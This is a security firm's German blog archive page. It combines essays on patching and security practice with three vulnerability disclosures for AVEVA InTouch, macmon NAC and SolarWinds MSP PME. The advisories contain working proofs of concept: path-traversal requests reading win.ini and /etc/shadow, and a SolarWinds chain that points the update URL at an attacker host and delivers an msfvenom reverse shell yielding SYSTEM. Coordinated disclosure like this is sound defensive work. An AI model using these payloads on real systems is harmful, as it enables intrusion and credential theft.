Schlagwortarchiv für: Schwachstelle

Von Cyberangriffen geht eine immer größere Bedrohung für Unternehmen aus. Laut Bitkom beläuft sich der Schaden für die deutsche Gesamtwirtschaft pro Jahr auf über 200 Milliarden Euro. Viele Firmen gehen davon aus, die wichtigste Schutzmaßnahme sei, sich eine Reihe von teuren IT-Sicherheitsprodukten einzukaufen und zu betreiben. Dies ist allerdings eine Fehlannahme, die weitreichende Konsequenzen mit sich ziehen kann, denn in der Praxis ist IT-Sicherheit kein Produkt, das man kaufen kann, sondern wird nur durch einen kontinuierlichen und ganzheitlichen Prozess erreicht.

Die IT-Sicherheitswelt ist übersät mit Buzzword-gefüllten Marketingversprechen, hinter denen sich oft nur heiße Luft verbirgt. Wichtige Grundlagen, die für einen sicheren IT-Betrieb essenziell sind, geraten dadurch im Diskurs leider in den Hintergrund. Der Grund dafür liegt auf der Hand: Softwarelösungen, die versprechen, nur durch eine unkomplizierte Installation Abhilfe zu schaffen, lassen sich wesentlich besser vermarkten als ein kontinuierlicher Prozess, bei dem das Unternehmen selbst tätig werden muss.

Produkte wie Antiviruslösungen können zwar im Kontext eines Defense-in-Depth Modells eine zusätzliche Hürde für Angreifer darstellen, dürfen aber nie die Hauptschutzmaßnahme sein. Beispielsweise erleben wir bei unseren Ransomware-Simulationen immer wieder, dass unsere eigens entwickelte Ransomware nicht vom Antivirenprogramm erkannt wird. Dies spiegelt auch die Realität von Ransomware-Angriffen wieder, denn fast alle Opfer setzen eine Virenschutzlösung ein. Die Kriminellen scheint das allerdings nicht zu stören: Bundesweit wird jeden Tag mindestens ein neuer Ransomware-Angriff polizeilich erfasst, bei einer geschätzten Dunkelziffer von bis zu 90 Prozent.

Im Betrieb von Webapplikationen setzen viele Firmen sogenannte Web Application Firewalls (WAFs) ein, die bösartige Requests erkennen und blockieren können, und gehen davon aus, dass Schwachstellen in der darunterliegenden Webanwendung nicht mehr ins Gewicht fallen. Zwar machen WAFs es in der Tat schwerer, vorhandene Schwachstellen auszunutzen, können aber durchaus umgangen werden, was uns in unseren Penetrationstests regelmäßig gelingt. Es ist also wichtig, IT-Sicherheit in den Softwareentwicklungsprozess zu integrieren, sodass Schwachstellen erst gar nicht entstehen.

In einem IT-System, in dem wichtige Grundprinzipien nicht befolgt werden, wirken solche Produkte also wie ein Heftpflaster auf einer klaffenden Fleischwunde. Eines dieser Prinzipien ist ein effektives Patchmanagement, denn auf der technischen Seite ist veraltete Software das größte Einfallstor für Angreifer, die bekannte Sicherheitslücken ausnutzen um in Systeme einzudringen. Das schnelle Einspielen von Sicherheitsupdates ist daher essentiell, um es Angreifern so schwer wie möglich zu machen.

Des Weiteren stellen wir in unseren Penetrationstests häufig fest, dass einfache, aber wichtige Maßnahmen zur Härtung des internen Netzes nicht umgesetzt werden. Leicht abschaltbare Defaulteinstellungen der Active Directory-Umgebung ermöglichen es einem ins interne Netz vorgedrungenen Angreifer sich ungehindert auszubreiten, und das gesamte IT-System zu übernehmen. Auch hier kann kein Produkt das Problem beseitigen, sondern das bestehende System muss vonseiten der Systemadministration sicher konfiguriert werden.

Ausschließlich technische Maßnahmen zu ergreifen ist allerdings nicht ausreichend, denn für Angreifer sind Social Engineering-Angriffe, wie beispielsweise Phishing-Emails, meist der erste Schritt um ins interne Netz zu gelangen. Der Grund dafür ist, dass der Faktor Mensch in den meisten Fällen leichter auszuhebeln ist als technische Systeme. So gelingt es uns bei unseren Phishing-Kampagnen oft, die Passwörter von über 20 Prozent aller Mitarbeiter zu erbeuten, eine erschreckende Zahl in Anbetracht dessen, dass im Zweifel ein einziger Erfolg reicht, um größeren Schaden anzurichten. Die Sensibilisierung der Mitarbeiter für solche Angriffe ist daher essenziell.

Um sich effektiv vor Cyberangriffen zu schützen muss ein Unternehmen also für seine IT-Sicherheit selbst Verantwortung übernehmen und in seine eigenen Prozesse integrieren. Softwareprodukte und Dienstleistungen können dabei unterstützen, sind aber kein Allheilmittel. Um das aktuelle Sicherheitsniveau zu bestimmen, empfiehlt es sich, regelmäßige Sicherheitsanalysen wie Penetrationstests oder Phishing-Kampagnen durchzuführen. Wir von CRISEC unterstützen Sie gerne dabei.

Dieser Beitrag wurde verfasst von Jonas Mönnig.

Title: AVEVA InTouch Access Anywhere Secure Gateway – Path Traversal

Author: Jens Regel, CRISEC IT-Security https://crisec.de

Timeline:
25.06.2021 Vulnerability discovered
25.06.2021 Send details to custfirstsupport@aveva.com
21.09.2021 Vendor response, fix is available until Q1/2022
25.09.2021 Vendor released Tech Alert TA000022335
06.09.2022 Public disclosure

CVE: CVE-2022-23854

Vendor:
AVEVA Group plc is a marine and plant engineering IT company headquartered in Cambridge, England. AVEVA software is used in many sectors, including on- and off-shore oil and gas processing, chemicals, pharmaceuticals, nuclear and conventional power generation, nuclear fuel reprocessing, recycling and shipbuilding (https://www.aveva.com).

Affected Products:
InTouch Access Anywhere Secure Gateway versions 2020 R2 and older

Details:
A security vulnerability exists in InTouch Access Anywhere Secure Gateway versions 2020 R2 and older. This is a Relative Path Traversal vulnerability which allows an unauthenticated user with network access to the Secure Gateway to read files on the system outside of the Secure Gateway web server.

Proof of Concept:

GET /AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini HTTP/1.1

HTTP/1.1 200 OK
Server: EricomSecureGateway/8.4.0.26844.*
(..)

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Fix:
InTouch Access Anywhere Secure Gateway 2020 R2 (version 20.1.0) Hotfix
InTouch Access Anywhere Secure Gateway 2020b (version 20.0.1) Hotfix

“We build our computers the way we build our cities — over time, without a plan, on top of ruins.”

Ellen Ullman

Das ist einer meiner Lieblingssprüche, wenn es um die Beschreibung des allgemeinen Sicherheitsniveaus unser aller IT-Systeme geht. Umso mehr trifft dieser Spruch auf das Apache Log4j Desaster zu, womit sich aktuell die halbe Welt beschäftigt und Admins panisch alles stehen und liegen lassen, um Systeme zu patchen. Nun ist es so, dass man für sich klar haben sollte, dass solche Schreckensszenarien in der Zukunft immer wieder und vor allem häufiger auftreten werden. Dies liegt hauptsächlich an der steigenden Komplexität von IT-Systemen und der Art und Weise, wie heutzutage Software entwickelt und Infrastrukturen gebaut werden, und zwar: over time, without a plan, on top of ruins.

Wenn wir uns „State of the Art“-Softwareprojekte anschauen, werden wir feststellen, dass dort mit Abhängigkeiten zu Third-Party Libraries nicht gekleckert wird. Ganz besonders schlimm ist dies bei Webapplikationen, da zieht man sich ganz schnell mal eine mittlere zweistellige Zahl an Dependencies in die Codebase, die von irgendwelchen Menschen mal entwickelt wurden und mehr oder weniger gepflegt sind. Da diese Third-Party Libraries meist Hobby bzw. semiprofessionelle Ansätze verfolgen, kann man als Nutzer nicht erwarten, dass der Informatiker, der nebenbei nach der Arbeit mal einen NodeJS Parser für Excel-Dateien gehackt hat, regelmäßig das Projekt und seinen Code pflegt, den Bugtracker im Blick hat und Pull Requests sichtet.

Wir sehen z.Zt. etliche Hersteller, die ihre komplexen Softwareprodukte auf Anfälligkeiten bzgl. der Log4j Schwachstelle prüfen. Alleine die Tatsache, dass man seine Codebase erst prüfen muss, um dann später festzustellen, ob die Library überhaupt im Einsatz ist oder in welcher Version diese mitgeliefert wird, sagt einiges über die Qualitätsprozesse der Hersteller aus.

Während Penetrationstests stellen wir diese Problematik leider regelmäßig fest, oft heißt es im Reporting: „Remote Code Execution durch veraltete und verwundbare Library X“ oder „Cross-Site Scripting durch veraltete und verwundbare Library Y“.

Was lernen wir nun daraus?

Schwachstellen entstehen nun mal, wenn Menschen Software entwickeln, das ist unvermeidlich und auch Ok. Wir benötigen aber allerdings für unsere IT-Systeme viel weniger Komplexität und mehr Klarheit darüber, wie diese tatsächlich funktionieren, dadurch ergibt sich einfacheres und schnelleres handeln, wenn es wirklich darauf ankommt.

Ein Kommentar von Jens Regel.

macmon NAC – Directory Traversal

Author: Jens Regel

CVSSv3: 8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE: Not assigned

CWEhttps://cwe.mitre.org/data/definitions/23.html

Vulnerable version

macmon NAC before version 5.14.0.2

Timeline

  • 01.04.2019 Vulnerability discovered
  • 01.04.2019 Send details to security@macmon.eu
  • 02.04.2019 Vulnerability was fixed by vendor
  • 28.04.2020 Public disclosure

Description

The http get parameter ?__address is susceptible to a directory traversal attack. The vulnerability is exploited without prior authentication. The Apache server is running with root privileges, which also makes it possible to read out /etc/shadow.

Proof of Concept (PoC)

:~$ curl -i -k https://macmonip/login/?__address=../../../../../../../../etc/shadow
HTTP/1.1 200 OK
Date: Mon, 01 Apr 2019 13:23:44 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1094
Content-Type: text/plain;charset=UTF-8

root:!:17801:0:99999:7:::
daemon:*:17801:0:99999:7:::
bin:*:17801:0:99999:7:::
sys:*:17801:0:99999:7:::
sync:*:17801:0:99999:7:::
games:*:17801:0:99999:7:::
man:*:17801:0:99999:7:::
lp:*:17801:0:99999:7:::
mail:*:17801:0:99999:7:::
news:*:17801:0:99999:7:::
uucp:*:17801:0:99999:7:::
proxy:*:17801:0:99999:7:::
www-data:*:17801:0:99999:7:::
backup:*:17801:0:99999:7:::
list:*:17801:0:99999:7:::
irc:*:17801:0:99999:7:::
gnats:*:17801:0:99999:7:::
nobody:*:17801:0:99999:7:::
systemd-timesync:*:17801:0:99999:7:::
systemd-network:*:17801:0:99999:7:::
systemd-resolve:*:17801:0:99999:7:::
systemd-bus-proxy:*:17801:0:99999:7:::
Debian-exim:!:17801:0:99999:7:::
messagebus:*:17801:0:99999:7:::
statd:*:17801:0:99999:7:::
mysql:!:17801:0:99999:7:::
macmon:*:17801:0:99999:7:::
postfix:*:17801:0:99999:7:::
snmp:*:17801:0:99999:7:::
arpwatch:!:17801:0:99999:7:::
bind:*:17801:0:99999:7:::
freerad:*:17801:0:99999:7:::
hacluster:*:17801:0:99999:7:::
sshd:*:17801:0:99999:7:::
admin:$6$L1prUJGM$ENNXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:17920:0:99999:7:::

Fix

Fixed in version 5.14.0.2.

 

SolarWinds MSP PME Cache Service – Insecure File Permissions / Code Execution

Author: Jens Regel

CVSSv3: 8.2 [CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H]

CVEhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12608

CWEhttps://cwe.mitre.org/data/definitions/276.html

Vulnerable version

SolarWinds MSP PME (Patch Management Engine) before 1.1.15

Timeline

  • 2020-04-24 Vulnerability discovered
  • 2020-04-27 Send details to SolarWinds PSIRT
  • 2020-04-27 SolarWinds confirmed the vulnerability
  • 2020-05-05 SolarWinds released PME version 1.1.15
  • 2020-05-06 Public disclosure

Description

An error with insecure file permissions has occurred in the SolarWinds MSP Cache Service, which is part of the Advanced Monitoring Agent and can lead to code execution. The SolarWinds MSP Cache Service is typically used to get new update definition files and versions for ThirdPartyPatch.exe or SolarWinds MSP Patch Management Engine Setup. The XML file CacheService.xml in %PROGRAMDATA%\SolarWinds MSP\SolarWinds.MSP.CacheService\config\ is writable by normal users, so that the parameter SISServerURL can be changed, which controls the location of the updates. After some analysis, we were able to provide modified XML files (PMESetup_details.xml and ThirdPartyPatch_details.xml) that point to an executable file with a reverse TCP payload using our controlled SISServerURL web server for SolarWinds MSP Cache Service.

Proof of Concept (PoC)

As we can see, NTFS change permissions are set to CacheService.xml by default. Any user on the system who is in group users can change the file content. This is especially a big problem on terminal servers or multi-user systems.

PS C:\ProgramData\SolarWinds MSP\SolarWinds.MSP.CacheService\config> icacls .\CacheService.xml
.\CacheService.xml VORDEFINIERT\Benutzer:(I)(M)
                   NT-AUTORITÄT\SYSTEM:(I)(F)
                   VORDEFINIERT\Administratoren:(I)(F)

1. Modify CacheService.xml

In the xml file, the parameter SISServerURL was adjusted, which now points to a web server controlled by the attacker.

<?xml version="1.0" encoding="utf-8"?>
<Configuration>
	<CachingEnabled>True</CachingEnabled>
	<ApplianceVersion>1.1.14.2223</ApplianceVersion>
	<CacheLocation>C:\ProgramData\SolarWinds MSP\SolarWinds.MSP.CacheService\cache</CacheLocation>
	<CacheSizeInMB>10240</CacheSizeInMB>
	<SISServerURL>https://evil-attacker.example.org</SISServerURL>
	<LogLevel>5</LogLevel>
	<Proxy></Proxy>
	<ProxyEncrypt>AQAAANCMnd8BFdER(...)</ProxyEncrypt>
	<ProxyCacheService />
	<CacheFilesDeleted></CacheFilesDeleted>
	<CacheDeletedInBytes></CacheDeletedInBytes>
	<HostApplication>RMM</HostApplication>
	<CanBypassProxyCacheService>True</CanBypassProxyCacheService>
	<BypassProxyCacheServiceTimeoutSeconds>1</BypassProxyCacheServiceTimeoutSeconds>
	<ComponentUpdateMinutes>300</ComponentUpdateMinutes>
	<ComponentUpdateDelaySeconds>1</ComponentUpdateDelaySeconds>
</Configuration>

2. Payload creation

Generate an executable file, for example using msfvenom, that establishes a reverse tcp connection to the attacker and store it on the web server.

msfvenom -p windows/x64/shell_reverse_tcp lhost=x.x.x.x lport=4444 -f exe > /tmp/solarwinds-shell.exe

3. Prepare web server

Place the modified xml files (PMESetup_details.xml or ThirdPartyPatch_details.xml) on the web server in the path /ComponentData/RMM/1/, generate MD5, SHA1 and SHA256 hashes of the executable, set correct values for SizeInBytes and increase the version.

Example of PMESetup_details.xml

<ComponentDetails>
<Name>Patch Management Engine</Name>
<Description>Patch Management Engine</Description>
<MD5Checksum>7a4a78b105a1d750bc5dfe1151fb70e1</MD5Checksum>
<SHA1Checksum>3d9ed6bd44b5cf70a3fed8f511d9bc9273a1feac</SHA1Checksum>
<SHA256Checksum>
80579df2533d54fe9cbc87aed80884f6a97e1ccdd0443ce2bcb815ef59ed3d65
</SHA256Checksum>
<SizeInBytes>7168</SizeInBytes>
<DownloadURL>/ComponentData/RMM/1/solarwinds-shell.exe</DownloadURL>
<FileName>solarwinds-shell.exe</FileName>
<Architecture>x86,x64</Architecture>
<Locale>all</Locale>
<Version>1.1.14.2224</Version>
</ComponentDetails>

Example of ThirdPartyPatch_details.xml

<ComponentDetails xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Name>Third Party Patch</Name>
<Description>
Third Party Patch application for Patch Management Engine RMM v 1 and later
</Description>
<MD5Checksum>7a4a78b105a1d750bc5dfe1151fb70e1</MD5Checksum>
<SHA1Checksum>3d9ed6bd44b5cf70a3fed8f511d9bc9273a1feac</SHA1Checksum>
<SHA256Checksum>
80579df2533d54fe9cbc87aed80884f6a97e1ccdd0443ce2bcb815ef59ed3d65
</SHA256Checksum>
<SizeInBytes>7168</SizeInBytes>
<DownloadURL>/ComponentData/RMM/1/solarwinds-shell.exe</DownloadURL>
<FileName>solarwinds-shell.exe</FileName>
<Architecture>x86,x64</Architecture>
<Locale>all</Locale>
<Version>1.2.1.95</Version>
</ComponentDetails>

4. Malicious executable download

After restarting the system or reloading the CacheService.xml, the service connects to the web server controlled by the attacker and downloads the executable file. This is then stored in the path %PROGRAMDATA%\SolarWinds MSP\SolarWinds.MSP.CacheService\cache\ and %PROGRAMDATA%\SolarWinds MSP\PME\archives\.

[24/Apr/2020:10:57:01 +0200] "HEAD /ComponentData/RMM/1/solarwinds-shell.exe HTTP/1.1" 200 5307 "-" "-"
[24/Apr/2020:10:57:01 +0200] "GET /ComponentData/RMM/1/solarwinds-shell.exe HTTP/1.1" 200 7585 "-" "-"

5. Getting shell

After a certain time the executable file is executed by SolarWinds MSP RPC Server service and establishes a connection with the rights of the system user to the attacker.

[~]: nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [x.x.x.x] port 4444 [tcp/*] accepted (family 2, sport 49980)
Microsoft Windows [Version 10.0.18363.778]
(c) 2019 Microsoft Corporation. Alle Rechte vorbehalten.

C:\WINDOWS\system32>whoami
whoami
nt-authority\system

C:\WINDOWS\system32>

Fix

There is a new PME version 1.1.15 which comes with auto-update